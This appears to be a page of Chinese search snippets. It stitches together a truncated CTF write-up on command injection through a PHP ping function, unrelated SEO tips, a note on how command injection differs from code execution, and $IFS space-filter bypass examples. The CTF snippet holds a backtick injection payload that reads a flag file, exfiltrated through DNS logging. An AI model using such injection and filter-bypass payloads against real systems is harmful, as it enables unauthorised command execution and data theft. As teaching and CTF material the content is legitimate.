|
2022年1月1日题目存在robots.txt文件,访问发现两个文件 index.txt where_is_flag.php index.php代码 ","0.0",$ip); system("ping".$ip); 可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。 payload ping`cat where_is_flag.php|sed s/[[:space:]]
4天前加快页面加载速度,可以使用CDN、压缩图片等方法。 配置合理的robots.txt文件,避免误封重要页面。 5. 增强内链和外链¶ 在内容中合理插入内部链接,提升页面权重。 获取高质量外链,提高网站权威性。 6. 监控和修复收录异常¶ 定期检查站长工具数据,及时发现收录异常。 解决404、301跳转等问题,确保页面正常被索引。
2019年3月7日在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的! 代码执行 代码执行的几种方...
2022年4月12日测试 root@kali:~# cat<test.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~# 这里解释一下 ${IFS},$IFS,$IFS$9 的区别,首先 $IFS 在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的 cat$IFS...